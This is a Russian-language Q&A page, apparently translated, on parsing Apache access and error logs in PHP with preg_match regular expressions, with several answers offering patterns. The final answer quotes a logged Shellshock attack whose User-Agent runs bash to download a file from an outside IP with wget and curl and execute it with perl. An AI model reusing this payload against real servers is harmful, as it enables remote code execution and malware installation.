Разобрать логи Apache в PHP, используя preg_match - PullRequest
27 голосов
/ 30 сентября 2011

Мне нужно сохранить данные в таблице (для отчетов, статистики и т. Д.), Чтобы пользователь мог выполнять поиск по времени, пользовательскому агенту и т. Д. У меня есть скрипт, который запускается каждый день, который читает журнал Apache, а затем вставляет его в базе данных.

Формат журнала:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

Мое регулярное выражение:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);

Теперь, когда я печатаю:

print_r($matches);

Array
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
    [1] => 10.1.1.150
    [2] => -
    [3] => -
    [4] => 29/September/2011
    [5] => 14:21:49
    [6] => -0400
    [7] => GET
    [8] => /info/
    [9] => HTTP/1.1
    [10] => 200
    [11] => 9955
    [12] => "http://www.domain.com/download/"
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)

Я получаю: "http://www.domain.com/download/" и то же самое для агента пользователя. Как я могу избавиться от этих " в регулярном выражении? Бонус (есть ли быстрый способ легко ввести дату / время)?

Спасибо

Ответы [ 5 ]

39 голосов
/ 30 сентября 2011

Для разбора журнала Apache access_log в PHP вы можете использовать это регулярное выражение:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);

Для соответствия формату Apache error_log вы можете использовать это регулярное выражение:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time,           $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message

Соответствует строкам с клиентом или без него:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js
3 голосов
/ 30 сентября 2011

Если вы не хотите захватывать двойные кавычки, переместите их из групп захвата.

 (\".*?\") 

Должно стать:

 \"(.*?)\"

В качестве альтернативы вы можете просто обработать записи с помощью trim($str, '"')

1 голос
/ 27 августа 2012

Ваше регулярное выражение неверно. Вы должны использовать правильное регулярное выражение

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
0 голосов
/ 16 июня 2015

Как я уже видел и сделал много ошибочных парсингов журналов, вот надежное регулярное выражение, протестированное на 50 тыс. Строк журналов без единой разницы, зная, что:

  • auth_user может содержать пробелы
  • размер_ответа может быть -
  • http_start_line может содержать как минимум один пробел (HTTP / 0,9) или два
  • http_start_line может содержать двойные кавычки
  • реферер может быть пустым, иметь пробелы или двойные кавычки (это просто заголовок HTTP)
  • user_agent также может быть пустым или содержать двойные кавычки и пробелы
  • Трудно провести различие между реферером и пользовательским агентом, давайте просто отметим, что " " между обоими достаточно различителен, но мы можем найти печально известный " " в реферере и в пользовательском агенте, в основном, мы здесь облажались.

    $ncsa_re = '/^(?P<IP>\S+)
    \ (?P<ident>\S)
    \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
    \ (?P<date>\[[^]]+\])
    \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
    \ (?P<status_code>[0-9]+) # Status code is _always_ an integer
    \ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
    \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
    \ "(?P<user_agent>.*)"$/x';
    

Надеюсь, это поможет.

0 голосов
/ 23 января 2015

Я попытался использовать пару регулярных выражений здесь, январь 2015 года, и обнаружил, что плохой бот не находит совпадений в моем журнале apache2.

Линия плохого бота apache2 - это попытка взлома BASH, и я пока не пытался выяснить исправление регулярного выражения:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...